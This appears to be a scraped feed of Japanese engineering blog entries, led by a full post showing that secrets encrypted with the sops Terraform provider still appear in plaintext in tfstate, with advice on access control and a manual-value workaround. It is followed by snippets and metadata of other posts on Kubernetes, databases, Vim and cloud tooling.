KMS等を使うことにより、KMSキーを使う権限を持つ人だけ機密情報にアクセスできるようにするものです。sopsで機密情報を暗号化することにより、平文で機密情報をgitレポジトリに保存することがなくなり安全ということになります。機密情報を管理したい。でも平文では保存したくない。そういう用途にこちらは使用されます。本当に安心?SOPSを使って機密情報を暗号化することによりgitレポジトリには機密情報が平文で残らない。これで安心と言われていますが、よく考えると機密情報をterraform実行時にはリソースに対して平文で与えているはずです。つまり、tfstate上は機密情報が平文で保存されています。例えば、tfstateがS3に保存されているとして、KMSキーへの権限がない人でもS3バケットにアクセスする権限があれば、平文の機密情報が見れてしまいます。あまりないと思いますが、tfstateをlocalに保存するようにしていてそれをgit管理していてらなんのために暗号化しているのか。。。。ということになります。こう考えると組織のポリシーによるが、sopsプロバイダーによる暗号化では不十分ではないかという疑問が生まれます。ドキュメントを調べるまずプロバイダードキュメントを当たってみます。Docs overview | carlpett/sops | Terraform | Terraform RegistryTo prevent plaintext secrets from being written to disk, you\xa0must\xa0use a secure remote state backend. See the\xa0official docs\xa0on\xa0Sensitive Data in State\xa0for more information.これが意味してるのはバックエンドをlocalにした場合平文で機密情報が書かれるので、安全なリモートバックエンドを利用すべきということだと思います。State: Sensitive Data | Terraform | HashiCorp Developer参照しろと言われたドキュメントの該当部分を読んでみましょう。ローカルディスクにtfstateを保存した場合は、機密情報が平文で保存されます。リモートにtfstateを保存する場合、保存時に暗号化されるかはバックエンドに依存します。基本的にリモートステートを使うことを推奨しています。例えば、Terraform Cloudを使う場合、tfstateは暗号化され、転送時もTLSで暗号化されます。S3を使う場合もSSE-S3やSSE-KMS等でサーバサイド暗号化を有効にしておくことで、保管時の暗号化がされます。バケットポリシーでHTTPSを強制することで通信時の暗号化も保証することができます。参考: 暗号化によるデータの保護 - Amazon Simple Storage Service参考: Amazon S3 のセキュリティのベストプラクティス - Amazon Simple Storage Serviceところがですね。保存時、通信時の暗号化をしても、terraform state pullすると平文でtfstateが手に入ってしまうんですよ。。。後述します。挙動を実験する以下のような設定ファイルを作ります。sopsで暗号化したdb_userとdb_passwordをパラメータストアに設定するものになります。tools-versionsterraform 1.5.5sops 3.7.3main.tfterraform { required_version = \\"~> 1.5.5\\" required_providers { aws = { source = \\"hashicorp/aws\\" version = \\"~> 5.15\\" } sops = { source = \\"carlpett/sops\\" version = \\"~> 0.7.2\\" } } backend \\"s3\\" { region = \\"ap-northeast-1\\" bucket = \\"xxxxxxxxxx\\" key = \\"test.tfstate\\" }}provider \\"sops\\" {}provider \\"aws\\" { region = \\"ap-northeast-1\\"}data \\"sops_file\\" \\"secrets\\" { source_file = \\"secrets.yaml\\"}resource \\"aws_ssm_parameter\\" \\"db_user\\" { type = \\"String\\" name = \\"/test/db_user\\" value = data.sops_file.secrets.data.db_user}resource \\"aws_ssm_parameter\\" \\"db_password\\" { type = \\"SecureString\\" name = \\"/test/db_password\\" value = data.sops_file.secrets.data.db_password}暗号化前の secrets.yamldb_user: userdb_password: passwordapply結果がこちらとなります。terraform apply% export SOPS_KMS_ARN=arn:aws:kms:ap-northeast-1:xxxxxxxxx:key/yyyyyyyyyyyyyyyyyy% terraform applydata.sops_file.secrets: Reading...data.sops_file.secrets: Read complete after 1s [id=-]Terraform used the selected providers to generate the following execution plan. Resource actions areindicated with the following symbols: + createTerraform will perform the following actions: # aws_ssm_parameter.db_password will be created + resource \\"aws_ssm_parameter\\" \\"db_password\\" { + arn = (known after apply) + data_type = (known after apply) + id = (known after apply) + insecure_value = (known after apply) + key_id = (known after apply) + name = \\"/test/db_password\\" + tags_all = (known after apply) + tier = (known after apply) + type = \\"SecureString\\" + value = (sensitive value) + version = (known after apply) } # aws_ssm_parameter.db_user will be created + resource \\"aws_ssm_parameter\\" \\"db_user\\" { + arn = (known after apply) + data_type = (known after apply) + id = (known after apply) + insecure_value = (known after apply) + key_id = (known after apply) + name = \\"/test/db_user\\" + tags_all = (known after apply) + tier = (known after apply) + type = \\"String\\" + value = (sensitive value) + version = (known after apply) }Plan: 2 to add, 0 to change, 0 to destroy.Do you want to perform these actions? Terraform will perform the actions described above. Only \'yes\' will be accepted to approve. Enter a value: yesaws_ssm_parameter.db_password: Creating...aws_ssm_parameter.db_user: Creating...aws_ssm_parameter.db_user: Creation complete after 0s [id=/test/db_user]aws_ssm_parameter.db_password: Creation complete after 0s [id=/test/db_password]Apply complete! Resources: 2 added, 0 changed, 0 destroyed.terraform apply 8.91s user 0.78s system 124% cpu 7.811 totalstate showするとパラメータストアなのでsensitive扱いになっていて、見れません。これはいけるか?terraform state show% terraform state show aws_ssm_parameter.db_password# aws_ssm_parameter.db_password:resource \\"aws_ssm_parameter\\" \\"db_password\\" { arn = \\"arn:aws:ssm:ap-northeast-1:xxxxxxxxx:parameter/test/db_password\\" data_type = \\"text\\" id = \\"/test/db_password\\" key_id = \\"alias/aws/ssm\\" name = \\"/test/db_password\\" tags_all = {} tier = \\"Standard\\" type = \\"SecureString\\" value = (sensitive value) version = 1}% terraform state show aws_ssm_parameter.db_user # aws_ssm_parameter.db_user:resource \\"aws_ssm_parameter\\" \\"db_user\\" { arn = \\"arn:aws:ssm:ap-northeast-1:xxxxxxxxx:parameter/test/db_user\\" data_type = \\"text\\" id = \\"/test/db_user\\" name = \\"/test/db_user\\" tags_all = {} tier = \\"Standard\\" type = \\"String\\" value = (sensitive value) version = 1}ここで、terraform state pullをしてみて、tfstateファイルをローカルにダウンロードします。そのtfstateファイルの中の該当部分はこちらとなります。 { \\"mode\\": \\"managed\\", \\"type\\": \\"aws_ssm_parameter\\", \\"name\\": \\"db_password\\", \\"provider\\": \\"provider[\\\\\\"registry.terraform.io/hashicorp/aws\\\\\\"]\\", \\"instances\\": [ { \\"schema_version\\": 0, \\"attributes\\": { \\"allowed_pattern\\": \\"\\", \\"arn\\": \\"arn:aws:ssm:ap-northeast-1:xxxxxxxxx:parameter/test/db_password\\", \\"data_type\\": \\"text\\", \\"description\\": \\"\\", \\"id\\": \\"/test/db_password\\", \\"insecure_value\\": null, \\"key_id\\": \\"alias/aws/ssm\\", \\"name\\": \\"/test/db_password\\", \\"overwrite\\": null, \\"tags\\": null, \\"tags_all\\": {}, \\"tier\\": \\"Standard\\", \\"type\\": \\"SecureString\\", \\"value\\": \\"password\\", \\"version\\": 1 }, \\"sensitive_attributes\\": [ [ { \\"type\\": \\"get_attr\\", \\"value\\": \\"value\\" } ] ], \\"private\\": \\"bnVsbA==\\", \\"dependencies\\": [ \\"data.sops_file.secrets\\" ] } ] },tfstateファイルの中身をよく確認するとしっかり平文で見えています。残念。\\"value\\": \\"password\\",結論sopsプロバイダーを使用することによりgitレポジトリ上に機密情報を平文で保存することはなくなります。しかしながら、tfstateのデータ上では設定値が平文で保存されることを防ぐことはできません。terraform state pullする権限があれば、機密情報が見れてしまいます。運用組織のポリシーで、tfstateへのアクセス権限を適切に権限管理することができるのであれば、選択肢としては取りうります。暗号化のためのKMSキー、tfstateを保存するS3バケットを機密情報をアクセス可能な人のみ権限を与えることが徹底できればよいです。しかしながら、機密情報をいかなる場合でもローカルに平文で保存することが許容されない組織であれば、機密情報は手動で設定することを選択したほうが望ましいと思います。どうしても機密情報をterraformで管理したのであれば、クライアントサイドで暗号化した機密情報をterraformで管理し、アプリ等で使用時にクライアントサイドで復号を行う形も考えられます。安全かどうかは、tfstateの保存場所、tfstateへのアクセス権限、暗号化鍵のアクセス権限それぞれが適切に設定されているかどうかが鍵となります。他に何かうまい方法で機密情報を管理しているという方がいらっしゃれば、ご意見ください。ワークアラウンドこれは自分がよく使う手段となります。リソースの箱だけ作って、作成時にダミーの値を入れておき、実際の値は手動で設定するという手法です。ignore_changesを入れておくことで、手動で値を変更しても、terraform的には差分ができないようにしています。これにより、機密情報をterraformの外に追い出しつつも、機密情報を入れるリソース自体は監理するということが実現できます。resource \\"aws_ssm_parameter\\" \\"db_password\\" { type = \\"SecureString\\" name = \\"/test/db_password\\" value = \\"Dummy\\" lifecycle { ignore_changes = [value] }}","isoDate":"2023-12-08T16:42:30.000Z","dateMiliSeconds":1702053750000,"authorName":"SUZUKI, Masashi","authorId":"masasuzu"},{"title":"AlloyDB omni on Kubernetesを眺める","link":"https://zenn.dev/nnaka2992/articles/viewing_alloydb_omni_operator","contentSnippet":"このエントリーは以下のアドベントカレンダーの6日目の記事です。3-shake Advent Calendar 2023 シリーズ1昨日は@bells17さんによるChainguard imagesについて調べてみたでした。PostgreSQL Advent Calendar 2023 シリーズ2Kubernetes Advent Calendar 2023昨日は@yassan168さんによるRKE2ノードのCiliumを使ったeBPFな帯域制限をする話でした。 背景を眺める2023年10月12日にAlloyDB OmniのGAに併せてAlloyDB Omni o...","isoDate":"2023-12-05T23:30:00.000Z","dateMiliSeconds":1701819000000,"authorName":"NAKADATE Naoki","authorId":"nnaka2992"},{"title":"Chainguard imagesについて調べてみた","link":"https://zenn.dev/bells17/articles/chainguard-images","contentSnippet":"※この記事は3-shake Advent Calendar 2023 シリーズ1の12月5日の記事です最近Chainguard imagesというdistrolessコンテナイメージについて知ったので、簡単に調べてみました。 Chainguard imagesとは?Chainguard imagesはChainguard社によって提供されているdistrolessを中心としたセキュアなコンテナイメージ群だ、という理解です。Wolfiという(おそらくこれもChainguard社が開発している)コンテナ・クラウドネイティブ用途向けのLinux undistroなOSを利用して各C...","isoDate":"2023-12-05T03:58:09.000Z","dateMiliSeconds":1701748689000,"authorName":"bells17","authorId":"bells17"},{"title":"ECSの可用性設計を4つの軸で整理する","link":"https://sreake.com/blog/ecs-availability-4-factors/","contentSnippet":"はじめに こんにちは!Sreake事業部 志羅山です。今年3月に3-shakeに入社し、長野県からリモートで仕事をしています(東京にも定期的に行ってます)。 最近、とあるお客様環境におけるECS(AWSのフルマネージド型 […]The post ECSの可用性設計を4つの軸で整理する first appeared on sreake.com | 株式会社スリーシェイク.","isoDate":"2023-12-05T02:48:59.000Z","dateMiliSeconds":1701744539000,"authorName":"Sreake","authorId":"Sreake"},{"title":"Cloud Loggingについて","link":"https://zenn.dev/nedoko_dok0dko/articles/ef07acbb983d01","contentSnippet":"whatGoogle CloudのCloud Loggingについて基本概要など調べたことをまとめる適宜追記予定 Cloud Loggingとはhttps://cloud.google.com/logging/docs/overview?hl=jaGoogleCloud上のシステム等が生成したログを収集・保管・管理するための仕組み。基本的にGoogleCloud上のサービスが出力するログはCloud Loggingへと集められる。収集されたログはログバケットと呼ばれるストレージで保管され、期間が過ぎたら破棄するといった設定を行うことが可能。ログはコンソールのログ...","isoDate":"2023-12-04T11:05:41.000Z","dateMiliSeconds":1701687941000,"authorName":"seno","authorId":"seno"},{"title":"吉祥寺.pm35 でLTしてきました。 #kichijojipm","link":"https://blog.masasuzu.net/entry/2023/12/03/161754","contentSnippet":"吉祥寺.pm こと 句会吉祥寺.pm35 に参加して、LTしてきました。kichijojipm.connpass.com資料はこちら。言いたいこととしてはベストプラクティスなんてないよ。一般的によりよいプラクティスやパターンはあるけど、どんなときには適用できる銀の弾丸的なものはないから、自身の組織とサービスに合わせてくみ上げていきましょうということ。正解はひとつ!じゃない!!その上で、ざっくりとどんな選択肢と選択するための観点を述べていきました。まだ全然ブラッシュアップできるのでどこかでまとめてブログに書きたいところです。ちなみに最後に出てくる あなたらしく○○ は同僚のスライドのパロディです。毎回時間オーバーするのでトークで申し込んだ方が良いのでは?というツッコミはごもっともです。懇親会でもTerraformのお悩みとか短いですが話せて楽しかったです。また参加したいですね。","isoDate":"2023-12-03T07:17:54.000Z","dateMiliSeconds":1701587874000,"authorName":"SUZUKI, Masashi","authorId":"masasuzu"},{"title":"Auroraアップグレード時のBlue/Green Deploymentsの利用","link":"https://zenn.dev/hakushou41/articles/70b83066cd1741","contentSnippet":"このエントリーは3-shake Advent Calendar 2023 4日目の記事です。株式会社スリーシェイクのメンバーが各々自由に技術・非技術ネタを投稿するカレンダーとなります。 はじめにAmazon Aurora2系について、標準サポート終了日(2024/10/31)まで1年を切りました。依然として、Aurora2系を利用しているシステムは多いのではないでしょうか。アプリケーションのテストや検証を考えると早めに動いていかなければならない時期となりました。本記事では、アップグレード方式・方針の一つとして、AWSからも推奨されているRDS Blue/Green Deplo...","isoDate":"2023-12-03T07:12:32.000Z","dateMiliSeconds":1701587552000,"authorName":"Shohei Takamura","authorId":"stakamura"},{"title":"Playwright Test generatorを利用したE2Eテスト ことはじめ","link":"https://zenn.dev/hakushou41/articles/65bc815b14354f","contentSnippet":"このエントリーは3-shake Advent Calendar 2023 3日目の記事です。株式会社スリーシェイクのメンバーが各々自由に技術・非技術ネタを投稿するカレンダーとなります。 はじめに現在、私はマイクロサービスを運用するSREを支援する人として活動しています。運用チームやSREが主導となって実施するメンテナンスやアップデート作業などでは、アップデート後の動作確認として、ブラウザを介したWebアプリケーションの簡易目視確認をします。これらの確認項目は、手順書へ項目を記載し、必要に応じてエビデンスをスクリーンショットで取得する必要があります。確認作業を網羅的にしようとす...","isoDate":"2023-12-02T15:00:00.000Z","dateMiliSeconds":1701529200000,"authorName":"Shohei Takamura","authorId":"stakamura"},{"title":"2023-12-01 吉祥寺.pm ベストプラクティスと組織とIaC","link":"https://speakerdeck.com/masasuzu/2022-12-01-ji-xiang-si-dot-pm","contentSnippet":"ベストプラクティスなんてものはない","isoDate":"2023-12-01T05:00:00.000Z","dateMiliSeconds":1701406800000,"authorName":"SUZUKI, Masashi","authorId":"masasuzu"},{"title":"データベースエンジニアのためのDB on Kubernetes入門ガイド","link":"https://zenn.dev/nnaka2992/articles/db_on_k8s_guide_for_db_engineers","contentSnippet":"このエントリーは3-shake Advent Calendar 2023 1日目の記事です。株式会社スリーシェイクのメンバーが各々自由に技術・非技術ネタを投稿するカレンダーとなります。 はじめに1959年にW. C. McGeeがデータベースという概念を提唱してから約65年、様々なアーキテクチャのデータベースが提案され様々なプラットフォームで利用されてきました。古くはメインフレームを中心に動作していたデータベースは、マイコンブームとともにそのアーキテクチャを変えながらにオープン系システムへと主戦場を移して行きました。オープン系が主流になってからもその進化は止まることなく、ベア...","isoDate":"2023-11-30T23:30:01.000Z","dateMiliSeconds":1701387001000,"authorName":"NAKADATE Naoki","authorId":"nnaka2992"},{"title":"データベース輪読会をやってみた話","link":"https://sreake.com/blog/database-reading-circle/","contentSnippet":"はじめに こんにちは。株式会社スリーシェイク Sreake 事業部に所属している @suganamao です。Sreake 事業部は技術力が求められる領域で豊富な経験を持つ SRE の専門家が集まったチームです。事業部に […]The post データベース輪読会をやってみた話 first appeared on sreake.com | 株式会社スリーシェイク.","isoDate":"2023-11-29T03:45:53.000Z","dateMiliSeconds":1701229553000,"authorName":"Sreake","authorId":"Sreake"},{"title":"gin.vimでgitの差分を快適に閲覧する","link":"https://blog.atusy.net/2023/11/29/gin-diff/","contentSnippet":"2023/11/29のVim駅伝記事です。vimを切っ掛けにエンジニアになった話」でした。gin.vimというVim上でGitを便利に扱うプラグインがあります。ExコマンドのGinを通じて、gitコマンドを実行するのが素朴な使い方です(例:Gin commit)。Ginの代わりにGinBufferを使うと、コマンドの実行結果をバッファに出力できます(例:GinBuffer log -n 1)。","isoDate":"2023-11-29T00:00:00.000Z","dateMiliSeconds":1701216000000,"authorName":"Atsushi Yasumoto","authorId":"atusy"},{"title":"KEP-4188: New kubelet gRPC API with endpoint returning local pods info","link":"https://zenn.dev/toversus/articles/791c7916e21059","contentSnippet":"!KEP 持ち寄り会 #1 の登壇資料です。2023/11/27 時点の KEP-4188 の内容です。Kubernetes 1.29 時点で機能として入っていないので注意して下さい。また、後半の文章は考察を含んでおり、正確な情報でない可能性があります。 概要KEP-4188 は、Kubelet に Pod Conditions を公開する gRPC API を追加する KEP です。Pod Conditions は Status フィールドに含まれています。❯ kubectl get pods -n kube-system coredns-5d78c9869d-8gglh ...","isoDate":"2023-11-27T08:23:13.000Z","dateMiliSeconds":1701073393000,"authorName":"Tsubasa Nagasawa","authorId":"toVersus"},{"title":"KEP-3063: Dynamic resource allocation","link":"https://speakerdeck.com/bells17/kep-3063-dynamic-resource-allocation","contentSnippet":"KEP持ち寄り会で発表した資料です。\\rKubernetesのKEP \\"Dynamic resource allocation\\" に関する情報をまとめた内容になります。\\r\\rイベントURL: https://kep.connpass.com/event/299651/\\r参考資料:\\r\\rhttps://zenn.dev/toversus/articles/fe2aa06f133b49 \\rhttps://kubernetes.io/blog/2022/12/15/dynamic-resource-allocation/ \\rhttps://github.com/kubernetes/enhancements/blob/master/keps/sig-node/3063-dynamic-resource-allocation/README.md \\rhttps://github.com/kubernetes-sigs/dra-example-driver/blob/main/demo/demo-apps.png \\rhttps://github.com/kubernetes/enhancements/blob/master/keps/sig-node/3063-dynamic-resource-allocation/components.png \\rhttps://github.com/cncf-tags/container-device-interface \\rhttps://github.com/containerd/containerd/blob/v1.7.9/pkg/cri/server/container_create_linux.go#L417-L419 \\rhttps://github.com/cncf-tags/container-device-interface/blob/main/pkg/cdi/container-edits.go#L70-L148 \\rhttps://github.com/kubernetes/enhancements/blob/master/keps/sig-node/3063-dynamic-resource-allocation/README.md \\rhttps://github.com/kubernetes/kubernetes/pull/111023 \\rhttps://github.com/orgs/kubernetes/projects/95/views/1 \\rhttps://github.com/kubernetes/dynamic-resource-allocation \\rhttps://www.cncf.io/projects/akri/ \\rhttps://github.com/kubernetes-sigs/dra-example-driver \\rhttps://github.com/NVIDIA/k8s-dra-driver \\rhttps://github.com/intel/intel-resource-drivers-for-kubernetes \\rhttps://github.com/intel/intel-device-plugins-for-kubernetes \\rhttps://docs.google.com/document/d/1BNWqgx_SmZDi-va_V31v3DnuVwYnF2EmN7D-O_fB6Oo/edit#heading=h.bxuci8gx6hna \\rhttps://drive.google.com/file/d/1iLg2FEAEilb1dcI27TnB19VYtbcvgKhS/view\\rhttps://developer.nvidia.com/blog/nvidia-gpu-operator-simplifying-gpu-management-in-kubernetes/ \\rhttps://docs.nvidia.com/datacenter/cloud-native/gpu-operator/latest/overview.html \\rhttps://docs.nvidia.com/datacenter/cloud-native/gpu-operator/latest/cdi.html \\rhttps://intel.github.io/intel-device-plugins-for-kubernetes/README.html \\rhttps://github.com/NVIDIA/k8s-device-plugin\\rhttps://blogs.nvidia.com/blog/multi-instance-gpus/ \\rhttps://developer.nvidia.com/blog/nvidia-ampere-architecture-in-depth/ \\rhttps://groups.google.com/a/kubernetes.io/g/dev/c/BDtCFfXQbw0?pli=1\\rhttps://kubernetes.slack.com/archives/C032ZE66A2X/p1700215190429689 \\rhttps://kubernetes.slack.com/archives/C032ZE66A2X/p1700215190429689","isoDate":"2023-11-27T05:00:00.000Z","dateMiliSeconds":1701061200000,"authorName":"bells17","authorId":"bells17"},{"title":"GitHubとCircleCIからFour Keysを計測する","link":"https://sreake.com/blog/four-keys-with-github-circleci/","contentSnippet":"はじめに Sreake事業部でインターンをしている村山です。私は以前に、DORAチームの提案したFour Keysという指標の計測システムの調査・検証を行いました。以前の検証では、GitHubとGitLab、及びモックデ […]The post GitHubとCircleCIからFour Keysを計測する first appeared on sreake.com | 株式会社スリーシェイク.","isoDate":"2023-11-22T01:25:41.000Z","dateMiliSeconds":1700616341000,"authorName":"Sreake","authorId":"Sreake"},{"title":"BigQueryの メタデータってどこから見れるの?","link":"https://zenn.dev/nedoko_dok0dko/articles/f6ccafeceac4a3","contentSnippet":"whatBigQueryのメタデータの取得先について簡単にまとめたもの BigQueryのメタデータ、調べることが出来るの?A. 出来るということで、メタデータの主な取得先について記載していく テーブル情報やレコード数BigQueryにはINFORMATION_SCHEMAという、メタデータなどを保持しているビューが存在している。これらを利用してメタデータを取得することが出来る。ただし、テーブルの更新日やテーブルのデータ量については記録されていない。https://cloud.google.com/bigquery/docs/information-sche...","isoDate":"2023-11-21T10:26:24.000Z","dateMiliSeconds":1700562384000,"authorName":"seno","authorId":"seno"},{"title":"走馬灯のIaCは考えておいて","link":"https://speakerdeck.com/nwiizo/zou-ma-deng-noiachakao-eteoite","contentSnippet":"走馬灯のIaCは考えておいてというタイトルで登壇してきました\\r\\r技術的負債に向き合う Online Conference\\rhttps://findy.connpass.com/event/297813/\\r\\r走馬灯のセトリは考えておいての短編はどれも面白いのでオススメです。\\rhttps://www.hayakawa-online.co.jp/shopdetail/000000015282/\\r\\r登壇ブログ |『走馬灯のIaCは考えておいて』というタイトルで登壇しました。\\rhttps://syu-m-5151.hatenablog.com/entry/2023/11/21/132144","isoDate":"2023-11-21T05:00:00.000Z","dateMiliSeconds":1700542800000,"authorName":"nwiizo","authorId":"nwiizo"},{"title":"スリーシェイク、Google Cloud Japan の「Google Cloud Partner Top Engineer 2024」にて3名のエンジニアが受賞","link":"https://sreake.com/blog/google-cloud-partner-top-engineer-2024/","contentSnippet":"株式会社スリーシェイクは、この度 Google Cloud Japan の「Google Cloud Partner Top Engineer 2024」において、スリーシェイクから3名のエンジニアが受賞したことをお知らせいたします。The post スリーシェイク、Google Cloud Japan の「Google Cloud Partner Top Engineer 2024」にて3名のエンジニアが受賞 first appeared on sreake.com | 株式会社スリーシェイク.","isoDate":"2023-11-20T00:50:00.000Z","dateMiliSeconds":1700441400000,"authorName":"Sreake","authorId":"Sreake"},{"title":"ChatGPTのFunctionCallをGolangで試してみる","link":"https://sreake.com/blog/chatgpt-function-call-with-golang/","contentSnippet":"1. はじめに はじめまして、Sreake事業部インターン生の井上です。私はSreake事業部にてSRE技術の調査と研究を行う目的で2023年3月6日から長期インターン生として参加しています。 今回、ChatGPTの新機 […]The post ChatGPTのFunctionCallをGolangで試してみる first appeared on sreake.com | 株式会社スリーシェイク.","isoDate":"2023-11-17T11:24:01.000Z","dateMiliSeconds":1700220241000,"authorName":"Sreake","authorId":"Sreake"},{"title":"プラグインをURLで指定しやすくするために、tree-sitterでURIパーサーを作ってNeovimを彩ってみた","link":"https://blog.atusy.net/2023/11/17/tree-sitter-uri/","contentSnippet":"この記事はVim駅伝2023年11月17日(金)の記事です。VimやNeovimでプラグインマネージャーに使いたいプラグインを指定するとき、GitHubでの配布物であればユーザー名/レポジトリ名での指定が一般的です。","isoDate":"2023-11-17T00:00:00.000Z","dateMiliSeconds":1700179200000,"authorName":"Atsushi Yasumoto","authorId":"atusy"},{"title":"ツールごとのOPA/Regoの書き方","link":"https://zenn.dev/tayusa/articles/63f286f4733a87","contentSnippet":"RegoとはKubernetesやTerraformの静的解析で既存のルールでは足りないときや自分でカスタマイズしたいときにRegoというポリシー言語でコードを書くhttps://www.openpolicyagent.org/docs/latest/policy-language/ Regoを利用できるツールの例conftesthttps://www.conftest.dev/自分で全部書くtrivyhttps://aquasecurity.github.io/trivy/latest/docs/scanner/misconfiguration/cust...","isoDate":"2023-11-16T03:05:53.000Z","dateMiliSeconds":1700103953000,"authorName":"Atsuya Tsukada","authorId":"atsuya0"},{"title":"スリーシェイク、生成AIを活用したSRE業務自動化への取り組みを発表","link":"https://sreake.com/blog/generative-ai-sre/","contentSnippet":"株式会社スリーシェイクが提供するSRE総合支援サービス「Sreake(スリーク)」は、「 Google Cloud 生成 AI パートナー エコシステム 」を活用して、SREの業務を自動化・効率化し、これまでの人的リソースへの依存度を軽減する取り組みを開始することをお知らせいたします。The post スリーシェイク、生成AIを活用したSRE業務自動化への取り組みを発表 first appeared on sreake.com | 株式会社スリーシェイク.","isoDate":"2023-11-14T00:50:00.000Z","dateMiliSeconds":1699923000000,"authorName":"Sreake","authorId":"Sreake"},{"title":"MinIO Client で Amazon S3 や Cloudflare R2 を利用する","link":"https://blog.1q77.com/2023/11/minio-client/","contentSnippet":"Cloudflare R2 は egress の費用がかからないということで手元のファイルのバックアップに使ってみようかなと思ったときにクライアントとして何を使おうかな aws cli 使うほ","isoDate":"2023-11-12T11:13:31.000Z","dateMiliSeconds":1699787611000,"authorName":"yteraoka","authorId":"yteraoka"},{"title":"kube-proxy入門","link":"https://speakerdeck.com/bells17/kube-proxyru-men","contentSnippet":"Kubernetes Novice Tokyo #28 の登壇資料です\\r\\rイベントURL: https://k8s-novice-jp.connpass.com/event/293157/\\r配信URL: https://www.youtube.com/watch?v=LSW51Cm0Wc0\\r\\rコードリーディングメモ:\\rhttps://zenn.dev/bells17/scraps/5e41da598a8266\\r\\r参考資料:\\rhttps://github.com/kubernetes/kubernetes/tree/v1.28.2 \\rhttps://speakerdeck.com/ryusa/servicewotazunete3000xing-kuberneteskodorideingufalselu \\rhttps://qiita.com/Tocyuki/items/6d90a1ec4dd8e991a1ce \\rhttps://oxynotes.com/?p=6361#5 \\rhttps://atmarkit.itmedia.co.jp/ait/articles/1002/09/news119.html \\rhttps://hana-shin.hatenablog.com/entry/2022/06/21/215757 \\rhttps://qiita.com/syui/items/27020b970775a0c508ba \\rhttps://www.digitalocean.com/community/tutorials/iptables-essentials-common-firewall-rules-and-commands \\rhttps://www.asahi-net.or.jp/~aa4t-nngk/ipttut/output/explicitmatches.html \\rhttps://github.com/torvalds/linux/blob/master/Documentation/networking/nf_conntrack-sysctl.rst \\rhttps://tech-blog.rakus.co.jp/entry/20220301/iptables \\rhttps://linuxjm.osdn.jp/html/iptables/man8/iptables-extensions.8.html \\rhttps://man.archlinux.org/man/conntrack.8.en \\rhttps://nomeu.net/8380/ \\rhttps://knowledge.sakura.ad.jp/4048/ \\rhttps://docs.openshift.com/container-platform/4.10/rest_api/network_apis/service-v1.html \\rhttps://stackoverflow.com/questions/75835169/kubernetes-loadbalancer-how-does-healthchecknodeport-work \\rhttps://kubernetes.io/docs/tasks/access-application-cluster/create-external-load-balancer/#preserving-the-client-source-ip \\rhttps://kubernetes.io/docs/concepts/services-networking/service-traffic-policy/ \\rhttps://kubernetes.io/docs/tasks/access-application-cluster/create-external-load-balancer/ \\rhttps://hyoublog.com/2020/05/20/kubernetes-externalip-service/ \\rhttps://qiita.com/dingtianhongjie/items/8f3c320c4eb5cf25d9de \\rhttps://milestone-of-se.nesuke.com/nw-basic/as-nw-engineer/loopback-address-interface/ \\rhttps://kubernetes.io/docs/reference/networking/virtual-ips/ \\rhttps://kubernetes.io/docs/concepts/services-networking/service/ \\rhttps://kubernetes.io/ja/docs/concepts/services-networking/connect-applications-service/ \\rhttps://knowledge.sakura.ad.jp/22636/ \\rhttps://netfilter.org/index.html \\rhttps://madomadox.hatenablog.com/entry/2021/01/03/190730 \\rhttps://qiita.com/bashaway/items/e405d59d92670fbc5341 \\rhttps://www.digitalocean.com/community/tutorials/a-deep-dive-into-iptables-and-netfilter-architecture \\rhttps://tech-blog.rakus.co.jp/entry/20220301/iptables \\rhttps://www.asahi-net.or.jp/~aa4t-nngk/ipttut/output/explicitmatches.html \\rhttps://eng-entrance.com/linux-firewall \\r\\r\\r画像引用元:\\rhttps://github.com/kubernetes/community/tree/master/icons \\rhttps://github.com/kubernetes/kubernetes/tree/master/logo \\rhttps://github.com/cncf/artwork/tree/master/projects/kubernetes \\rhttps://github.com/kubernetes/kubeadm/tree/main/logos","isoDate":"2023-11-09T05:00:00.000Z","dateMiliSeconds":1699506000000,"authorName":"bells17","authorId":"bells17"},{"title":"Amazon ECSイベントをCloudWatch Logsへ収集する","link":"https://zenn.dev/yuu0w0yuu/articles/df3a9fdef609e2","contentSnippet":"この記事は、3-shake Advent Calendar 2023 1日目のエントリ記事です。 きっかけECSは、Container Insightsを有効化することでクラスタやサービスといった各レイヤのパフォーマンスメトリクスをCloudWatchに収集できる。一方で、以下のようなケースにおいて一定の仮説を導くためには、このメトリクスだけではやや不足感があるため、発生したイベントやその結果を別の方式で監視したくなった。メトリクスがスパイクしたタイミングで何が起きていたか?デプロイを実行したが結果はどうだったか?デプロイが失敗したが原因は何か?などなど・・調べてみ...","isoDate":"2023-11-02T08:33:22.000Z","dateMiliSeconds":1698914002000,"authorName":"Yutaro Shirayama","authorId":"yuu0w0yuu"},{"title":"Time-Slicing GPUs を Kubernetes で利用する","link":"https://sreake.com/blog/kubernetes-time-slicing-gpu/","contentSnippet":"はじめに Kubernetes にて、1つのGPUを複数コンテナ (※ Pod内の複数コンテナ、複数のPodを指す) で使い倒したい。そんな時はありますでしょうか。本記事では、NVIDIA/k8s-device-plug […]The post Time-Slicing GPUs を Kubernetes で利用する first appeared on sreake.com | 株式会社スリーシェイク.","isoDate":"2023-10-31T08:39:06.000Z","dateMiliSeconds":1698741546000,"authorName":"Sreake","authorId":"Sreake"},{"title":"ShellCheckで自動化の品質を向上させる","link":"https://sreake.com/blog/shellcheck-automation-enhancement/","contentSnippet":"はじめに Site Reliability Engineering (SRE) の領域では、トイル (toil) の削減と効率的なオペレーションが大きな課題となっています。トイルというのは、手作業で繰り返し行う作業のこと […]The post ShellCheckで自動化の品質を向上させる first appeared on sreake.com | 株式会社スリーシェイク.","isoDate":"2023-10-31T02:32:20.000Z","dateMiliSeconds":1698719540000,"authorName":"Sreake","authorId":"Sreake"},{"title":"テキストの折り畳みを彩る vim.treesitter.foldtext() を使ってみる","link":"https://blog.atusy.net/2023/10/26/treesitter-foldtext/","contentSnippet":"Neovim 0.10で使えるようになるvim.treesitter.foldtext()を使うと折り畳んだコードもキレイに色付けられるぞ。ラッパー書けば次の行の情報も色付けて表示できたりしてとっても便利だぞ。","isoDate":"2023-10-26T00:00:00.000Z","dateMiliSeconds":1698278400000,"authorName":"Atsushi Yasumoto","authorId":"atusy"},{"title":"【Terraform\uD83E\uDDD1\uD83C\uDFFB‍\uD83D\uDE80】\\"Findy Terraform 活用大全 - IaCの今\\" に登壇","link":"https://hiroki-hasegawa.hatenablog.jp/entry/2023/10/25/550144","contentSnippet":"発表スライドから得られる知識発表スライドを見ると、以下を \\"完全に理解\\" できます✌️Terraformのtfstateの分割パターンtfstate分割をリポジトリやリモートバックエンドのディレクトリ構成への適用する方法発表スライドから得られる知識イベント名発表スライドイベント名オッス!オラ長谷川!✋\uD83C\uDFFB『 tfstate の分割パターンとディレクトリ構成への適用』ていうテーマで、 Findy Terraform 